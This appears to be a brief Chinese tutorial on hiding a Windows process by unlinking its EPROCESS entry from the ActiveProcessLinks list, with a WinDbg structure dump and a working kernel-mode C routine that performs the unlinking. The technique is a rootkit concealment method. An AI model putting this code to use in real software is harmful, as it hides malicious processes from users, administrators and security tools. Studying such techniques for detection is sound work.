进程隐藏(用摘链的方法)

ring3层跑的程序在ring0层都有一个对应的内核对象,这些内核对象被用一个双向链表连起来,所谓隐藏其实只是把某进程在内核中对应的进程对象从该链中摘掉,让ring3层的API无法找到

该链在进程对象下面有:

0: kd> dt _EPROCESS
nt!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x2d8 ProcessLock      : _EX_PUSH_LOCK
   +0x2e0 UniqueProcessId  : Ptr64 Void
   +0x2e8 ActiveProcessLinks : _LIST_ENTRY    //就是这个
   +0x2f8 RundownProtect   : _EX_RUNDOWN_REF
   +0x300 Flags2           : Uint4B
   +0x300 JobNotReallyActive : Pos 0, 1 Bit
   +0x300 AccountingFolded : Pos 1, 1 Bit
   +0x300 NewProcessReported : Pos 2, 1 Bit
   +0x300 ExitProcessReported : Pos 3, 1 Bit
   +0x300 ReportCommitChanges : Pos 4, 1 Bit
   +0x300 LastReportMemory : Pos 5, 1 Bit
   +0x300 ForceWakeCharge  : Pos 6, 1 Bit
   +0x300 CrossSessionCreate : Pos 7, 1 Bit
   +0x300 NeedsHandleRundown : Pos 8, 1 Bit
   +0x300 RefTraceEnabled  : Pos 9, 1 Bit
   +0x300 PicoCreated      : Pos 10, 1 Bit
   +0x300 EmptyJobEvaluated : Pos 11, 1 Bit
   +0x300 DefaultPagePriority : Pos 12, 3 Bits
   +0x300 PrimaryTokenFrozen : Pos 15, 1 Bit

代码: 

//根据系统版本的不同,这个值也不一样
#define PROCESS_ACTIVE_PROCESS_LINKS_OFFSET 0x2e8

VOID HideProcess(PEPROCESS Process)
{
	KIRQL OldIrql;
	PLIST_ENTRY ListEntry = (PLIST_ENTRY)((ULONG64)Process + PROCESS_ACTIVE_PROCESS_LINKS_OFFSET);
	OldIrql = KeRaiseIrqlToDpcLevel();
	if (ListEntry->Flink != ListEntry &&
		ListEntry->Blink != ListEntry &&
		ListEntry->Blink->Flink == ListEntry &&
		ListEntry->Flink->Blink == ListEntry)
	{
		ListEntry->Flink->Blink = ListEntry->Blink;
		ListEntry->Blink->Flink = ListEntry->Flink;
		ListEntry->Flink = ListEntry;
		ListEntry->Blink = ListEntry;
	}
	KeLowerIrql(OldIrql);
}